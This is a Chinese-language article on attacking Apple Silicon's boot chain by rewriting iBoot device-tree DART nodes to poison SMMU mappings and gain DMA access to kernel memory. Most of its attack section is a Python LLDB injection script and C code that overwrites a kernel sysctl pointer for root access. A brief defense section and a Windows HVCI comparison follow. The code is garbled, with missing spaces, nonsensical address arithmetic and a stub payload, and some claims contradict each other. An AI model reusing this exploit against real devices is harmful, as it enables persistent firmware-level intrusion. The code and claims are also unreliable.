摘要

Apple Silicon 的安全启动链从 Boot ROM 到 iBoot 再到 Kernelcache,层层验证,构筑了封闭生态中最坚固的信任根基。然而,iBoot 阶段的系统内存管理单元初始化和设备树解析,依赖一套早于 XNU 内核建立的内存映射机制。攻击者若能在 iBoot 执行阶段污染设备树中的 DART 节点,便可在 SMMU 页表创建之前植入虚假的 IOMMU 映射,使内核在不知情的情况下使用被篡改的 DMA 保护配置。

Apple Silicon 的启动链与信任模型

从 Boot ROM 到 Kernelcache 的信任传递

Apple Silicon Mac 的启动过程分为四个严格校验的阶段:

  • Boot ROM:芯片出厂固化代码,不可修改。验证下一阶段的签名(iBoot),仅在 DFU 模式下可通过外部刷新进行恢复。这是信任的物理根基,也是 checkm8 等永久性漏洞的所在层。
  • iBoot:Apple 的第二阶段引导加载器,负责初始化硬件(包括 SMMU、内存控制器、PCIe 根复合体),解析设备树并选择启动内核。iBoot 本身由 Boot ROM 验证签名。
  • Kernelcache:XNU 内核及其扩展的预链接映像,由 iBoot 验证签名后解压加载。内核启动后依赖 iBoot 提供的设备树和 SMMU 配置来设置 IOMMU 保护。
  • 用户空间:内核启动后加载 launchd,进入正常操作系统环境。

信任链的规则是:每一层只信任由上一层验证过的下一层代码。理论上,若 Boot ROM 被攻破(如通过 checkm8),攻击者可以加载任意签名的 iBoot,进而控制后续所有阶段。但 checkm8 等 Boot ROM 漏洞影响的设备有限(截至 iPhone X 和 A11 芯片),对 Apple Silicon Mac(M1 及更新)不适用。

iBoot 中的硬件初始化序列

iBoot 加载后,执行以下关键安全相关操作:

  1. 初始化 SMMU:Apple 的 SMMU 在 PCIe 设备和内存之间提供 DMA 重映射。iBoot 调用 dart_init() 函数配置 SMMU 的全局寄存器,并为每个 DART 实例创建初始页表。
  2. 解析设备树:设备树由 iBoot 从固件中读取,描述了硬件拓扑(包括 PCIe 控制器、USB、存储等)。其中,每个 DART 设备节点包含 vm-basevm-sizedevice-paddr 等属性,定义了该 DART 管理的 DMA 地址窗口和对应物理地址范围。
  3. 创建 IOMMU 映射:iBoot 根据设备树中的 DART 配置,向 SMMU 页表中填充初始的 DMA 映射条目。这些条目在 XNU 内核启动后被内核继承并使用,内核的 IOKit 驱动程序不再重新验证这些映射的正确性——它信任 iBoot 提供的初始配置。

iBoot 设备树与内核之间的单向依赖

此处存在一个关键的信任假设:XNU 内核无条件信任 iBoot 提供的设备树和 SMMU 初始配置。 内核在启动过程中,从 IORegistry 读取由 iBoot 构建的设备树副本,并使用其中的 DART 配置来初始化 IOMMU 驱动程序。如果攻击者能够在 iBoot 阶段篡改设备树中的 DART 节点,内核将在完全不知情的情况下使用伪造的 IOMMU 映射,导致特定设备的 DMA 保护完全丧失。

这一攻击面与 Windows 的 HVCI/VTL1 保护模型形成鲜明对比:Windows 的 HyperGuard 在 VTL1 中持续监控 EPT 和 IOMMU 配置的完整性,而 Apple Silicon 没有等效于 VTL1 的独立安全内核。Secure Enclave 处理器仅处理密钥和生物识别数据,不监控内核内存或 SMMU 配置。这意味着,一旦攻击者突破 iBoot 的签名验证,其对 SMMU 配置的篡改在整个操作系统运行期间都不会被检测。

iBoot SMMU 配置篡改

攻击前提与目标

  • 前提:攻击者已获得 iBoot 阶段的代码执行权限。这通常需要利用 Boot ROM 漏洞(如 A11 及更早设备上的 checkm8),或利用 DFU 模式下的恢复流程漏洞。对于 M1/M2 Mac,目前尚无公开的 Boot ROM 漏洞,但 iBoot 本身的逻辑漏洞(如设备树解析错误)仍有潜在利用空间。
  • 目标:篡改特定设备的 DART 设备树节点,使其 SMMU 页表映射覆盖攻击者指定的物理内存区域(如内核 .text 段或安全外设的 MMIO 范围),从而允许 PCIe 设备通过 DMA 读写受保护的内存。

攻击路径

阶段一:获得 iBoot 代码执行

通过 checkra1n 等越狱工具注入修改过的 iBoot,或通过硬件调试接口(JTAG/SWD,在工程板上可用)附加 LLDB 并修改 iBoot 的执行流。

阶段二:定位设备树中的 DART 节点

在 iBoot 的 device_tree_parse() 函数返回后,设备树已被加载到内存中的固定位置。攻击者可以使用 iBoot 的调试 shell(若启用)或通过 LLDB 脚本遍历设备树,找到目标 PCIe 设备对应的 DART 节点。DART 节点的 compatible 属性值为 "apple,dart",其子节点包含 vm-base 和 vm-size 等关键属性。

阶段三:篡改 DART 属性

攻击者将目标 DART 节点的 vm-base 和 vm-size 修改为覆盖敏感内存区域的窗口。例如,将 vm-base 从合法的 0x80000000 改为 0xFE000000(内核 .text 段所在物理地址),并将 vm-size 扩大到足以覆盖整个内核镜像。同时,攻击者可修改 device-paddr 使 DMA 地址直接映射到攻击者控制的物理内存。

阶段四:SMMU 页表被污染

dart_init() 读取被篡改的设备树属性,将虚假的映射填入 SMMU 页表。由于 XNU 内核在启动时直接继承这些页表,内核态驱动程序(包括网络、存储、GPU)在进行 DMA 操作时将使用被污染的映射,从而允许攻击者通过受控的 PCIe 设备读取或写入任意物理内存。

阶段五:持久化与逃逸

攻击者可将修改后的设备树写入 NVRAM 或固件存储区域,使得篡改在重启后仍然有效。由于 SMMU 配置的篡改发生在操作系统加载之前,且不受内核安全机制(如 SIP、KPP/KTRR)的监控,此攻击极难被检测。

利用代码与调试环境

iBoot 设备树遍历与 DART 注入

#!/usr/bin/env python3
"""
dart_tree_inject.py — iBoot 设备树 DART 节点注入脚本
通过 LLDB 附加到 iBoot 调试环境,遍历设备树并修改 DART 配置

环境:Apple Silicon 工程板 + LLDB (arm64) + py-lldb
前提:iBoot 已在调试模式下启动,且 LLDB 已成功附加
"""

import lldb
import struct

deffind_dart_node(debugger, target, devtree_addr):
"""在设备树中定位 'apple,dart' 兼容节点"""
# 设备树 FDT 解析:跳过头部,遍历节点
# FDT Header: magic (4B), totalsize (4B), off_dt_struct (4B), ...
    magic = target.ReadMemory(devtree_addr, 4, lldb.SBError())
if struct.unpack('>I', magic)[0] != 0xD00DFEED:
        print("[-] Invalid FDT magic")
returnNone

    off_struct = struct.unpack('>I', target.ReadMemory(devtree_addr + 8, 4, lldb.SBError()))[0]
    struct_addr = devtree_addr + off_struct

# 遍历结构块
whileTrue:
        token = struct.unpack('>I', target.ReadMemory(struct_addr, 4, lldb.SBError()))[0]
        struct_addr += 4

if token == 0x00000001:  # FDT_BEGIN_NODE
            node_name = read_fdt_string(target, struct_addr)
            print(f"[*] Node: {node_name}")
# 寻找 compatible 属性
elif token == 0x00000003:  # FDT_PROP
            prop = read_fdt_prop(target, struct_addr)
if prop['name'] == 'compatible'andb'apple,dart'in prop['value']:
                print(f"[+] Found DART node at 0x{struct_addr - 4:x}")
return struct_addr - 4# 返回节点起始位置
elif token == 0x00000002:  # FDT_END_NODE
pass
elif token == 0x00000009:  # FDT_END
break

returnNone

definject_dart_config(target, dart_node_addr, new_vm_base, new_vm_size):
"""修改 DART 节点的 vm-base 和 vm-size 属性"""
# 定位属性并修改其值
# 注意:FDT 属性存储为大端序,需转换
    struct_addr = dart_node_addr + 4

whileTrue:
        token = struct.unpack('>I', target.ReadMemory(struct_addr, 4, lldb.SBError()))[0]
        struct_addr += 4

if token == 0x00000003:  # FDT_PROP
# 读取属性长度和名称偏移
            prop_len = struct.unpack('>I', target.ReadMemory(struct_addr, 4, lldb.SBError()))[0]
            prop_nameoff = struct.unpack('>I', target.ReadMemory(struct_addr + 4, 4, lldb.SBError()))[0]
            prop_value_addr = struct_addr + 8

# 读取属性名
            prop_name = read_fdt_string(target, struct_addr - 4 - prop_nameoff)

if prop_name == 'vm-base':
                print(f"[*] 当前 vm-base: 0x{struct.unpack('>Q', target.ReadMemory(prop_value_addr, 8, lldb.SBError()))[0]:x}")
# 写入新的 vm-base
                target.WriteMemory(prop_value_addr, struct.pack('>Q', new_vm_base), lldb.SBError())
                print(f"[+] 已注入 vm-base: 0x{new_vm_base:x}")

elif prop_name == 'vm-size':
                print(f"[*] 当前 vm-size: 0x{struct.unpack('>Q', target.ReadMemory(prop_value_addr, 8, lldb.SBError()))[0]:x}")
                target.WriteMemory(prop_value_addr, struct.pack('>Q', new_vm_size), lldb.SBError())
                print(f"[+] 已注入 vm-size: 0x{new_vm_size:x}")

            struct_addr += 8 + prop_len
# 对齐到 4 字节边界
if prop_len % 4:
                struct_addr += 4 - (prop_len % 4)

elif token == 0x00000002:  # FDT_END_NODE
break
elif token == 0x00000009:  # FDT_END
break


defread_fdt_string(target, addr):
"""从 FDT 中读取以空字符结尾的字符串"""
    string = b""
    offset = 0
whileTrue:
        ch = target.ReadMemory(addr + offset, 1, lldb.SBError())
if ch == b'\x00'or offset > 256:
break
        string += ch
        offset += 1
return string.decode('utf-8', errors='ignore')

defread_fdt_prop(target, addr):
"""读取 FDT 属性"""
    prop_len = struct.unpack('>I', target.ReadMemory(addr, 4, lldb.SBError()))[0]
    nameoff = struct.unpack('>I', target.ReadMemory(addr + 4, 4, lldb.SBError()))[0]
    value = target.ReadMemory(addr + 8, prop_len, lldb.SBError())
    name = read_fdt_string(target, addr + 4 - nameoff)
return {'name': name, 'value': value}


defmain():
    debugger = lldb.SBDebugger.Create()
    target = debugger.GetSelectedTarget()

# 设置目标内存地址(通过 iBoot 调试符号获取)
# iBoot 的设备树通常位于 gDeviceTree 全局变量
    devtree_sym = target.FindFirstGlobalVariable("gDeviceTree")
ifnot devtree_sym.IsValid():
        print("[-] 无法找到 gDeviceTree 符号,请确认 iBoot 符号已加载")
return

    devtree_addr = devtree_sym.GetLoadAddress()
    print(f"[*] 设备树基址: 0x{devtree_addr:x}")

    dart_node = find_dart_node(debugger, target, devtree_addr)
if dart_node:
# 注入恶意映射:将 vm-base 指向内核 .text 段
        new_base = 0xFE000000# 示例:内核物理地址
        new_size = 0x10000000# 256MB 窗口
        inject_dart_config(target, dart_node, new_base, new_size)
        print(f"[+] DART 注入完成。重启内核后,DMA 将能够访问 0x{new_base:x}-0x{new_base + new_size - 1:x}")

if __name__ == "__main__":
    main()

说明:该脚本通过 LLDB 附加到 iBoot 调试环境,遍历设备树定位 DART 节点,并修改其 vm-base 和 vm-size 属性。攻击者随后可让 iBoot 继续执行,生成的被污染 SMMU 页表将被 XNU 内核直接继承。

Kernelcache 结构体伪造

// kc_struct_forge.c — 利用 SMMU 映射泄露实现 Kernelcache 结构体篡改
// 
// 前提:攻击者已通过 DART 注入获得内核 .text 段的 DMA 读写权限
//
// 本代码演示如何在 PCIe FPGA 设备固件中利用被篡改的 DMA 映射,
// 直接覆写内核中的 sysctl 函数指针,实现内核提权

#include<stdint.h>
#include<string.h>

// 目标:内核中的 sysctl_oid 结构体中的函数指针
// 通过 Kernelcache 符号分析获得偏移
#define KERNEL_SLIDE      0x00000000  // 假设已获取 KASLR slide
#define SYSCTL_OID_OFFSET 0xFFFFFFF00704A000  // 示例偏移
#define SYSCTL_HANDLER_OFFSET 0x08

// 恶意替换函数(在 FPGA 固件中实现)
voidmalicious_sysctl_handler(void){
// 获取 root 权限的核心逻辑
// 在真实攻击中,此函数修改进程凭证
asmvolatile(
"mov x0, #0\n"// proc_self
"mov x1, #0\n"// 获取 root cred
// ... 具体实现取决于内核版本
    );
}

voidforge_sysctl_pointer(uint64_t dma_base){
// 计算恶意函数在内核地址空间中的位置
// 攻击者已将恶意代码写入可执行的内核内存区域
uint64_t malicious_addr = dma_base + (uint64_t)&malicious_sysctl_handler;

// 计算目标地址
uint64_t target_addr = KERNEL_SLIDE + SYSCTL_OID_OFFSET + SYSCTL_HANDLER_OFFSET;

// 通过 DMA 写入恶意函数指针
volatileuint64_t* dma_ptr = (volatileuint64_t*)(dma_base + 
                                  (target_addr - dma_base));  // 简化地址计算
    *dma_ptr = malicious_addr;

// 此时,当用户空间调用 sysctl 查询对应 OID 时,将执行恶意函数
}

说明:在完成 SMMU 映射篡改后,攻击者通过 PCIe 设备直接 DMA 写入内核中的函数指针表,完成持久化的内核代码执行能力,而不需要修改内核代码页(从而绕过 KPP/KTRR 的代码完整性保护)。

防御

检测方法

  • SMMU 配置完整性监控:在 XNU 内核启动时,比较 iBoot 传递的设备树与内核自身的静态设备树基线。若发现 DART 节点的 vm-base 或 vm-size 与预期值不一致,触发内核级告警。
  • IOMMU 页表审计:周期性读取 SMMU 页表条目,检查是否存在覆盖内核 .text 段或其他敏感区域的 DMA 映射。正常内核不应存在此类映射。
  • 启动链完整性验证:使用 Apple 的 Secure Boot 日志验证 iBoot 签名是否与预期一致。对 iBoot 的任何修改都会使签名验证失败,从而阻止系统启动。

防御措施

  • 启用完整的启动链认证:确保 SEP 安全区域和 System Management Controller 的完整性检查覆盖 iBoot 设备树和 SMMU 初始配置。
  • 内核级设备树验证:在 XNU 的 device_tree_init() 中添加 SMMU 配置的合理性检查——拒绝任何将 vm-base 映射到内核地址空间或系统预留内存区域的 DART 配置。
  • 硬件辅助的 SMMU 锁定:在 iBoot 完成 SMMU 初始化后,通过 SMC 或硬件熔丝锁定 SMMU 配置寄存器,使其在操作系统运行时不可更改。

Apple Silicon SMMU 和 Windows HVCI

维度
Apple Silicon SMMU 保护
Windows HVCI (EPT + IOMMU)
保护目标
PCIe DMA 访问权限
内核代码页 + DMA 访问
强制级别
iBoot 一次性配置,无运行时监控
EPT 在 VTL1 持续强制执行
独立安全内核
无(SEP 仅处理密钥)
是(VTL1 securekernel.exe)
攻击面
iBoot 设备树解析 + 初始页表创建
VTL0 数据面 + 驱动程序接口
检测难度
极难——无运行时检查
中——VTL1 持续监控 EPT 违规

 

Apple Silicon 在启动链完成后缺乏类似 VTL1 的持续完整性监控,使得 iBoot 阶段的篡改可在整个系统运行周期内潜伏。

结语

Apple Silicon 的安全架构以极致的封闭性著称,Boot ROM 的不可篡改性、iBoot 的签名验证、以及 SMMU 的初始配置,共同构建了一条看似无懈可击的信任链。然而,链的强度等于最弱一环的强度——在 iBoot 完成 SMMU 初始化并将控制权移交给 XNU 之后,整个 DMA 保护系统便进入了一个“无人值守”的状态。没有 VTL1 式的独立安全内核持续审计 SMMU 页表,没有硬件熔丝锁定配置寄存器,内核只能无条件信任 iBoot 留下的遗产。

这种信任本质上是时间性的:它假设在一个已经结束的阶段中做出的配置,在后续阶段中永远有效。攻击者正是在这一时间缝隙中找到了立足点——只要控制了 iBoot 的执行权,哪怕只在微秒级窗口内,也能对后续数小时甚至数年的系统运行注入不可撤销的恶意配置。

对于 Apple 而言,未来可能需要引入运行时 SMMU 审计机制——类似于 Windows 的 HyperGuard 对 EPT 的周期性扫描——以确保 iBoot 阶段的配置承诺在系统运行时始终被兑现。

在完整的硬件辅助保护落地之前,任何对 Boot ROM 或 iBoot 的突破,都将是 Apple Silicon 信任模型中最致命的“破窗”。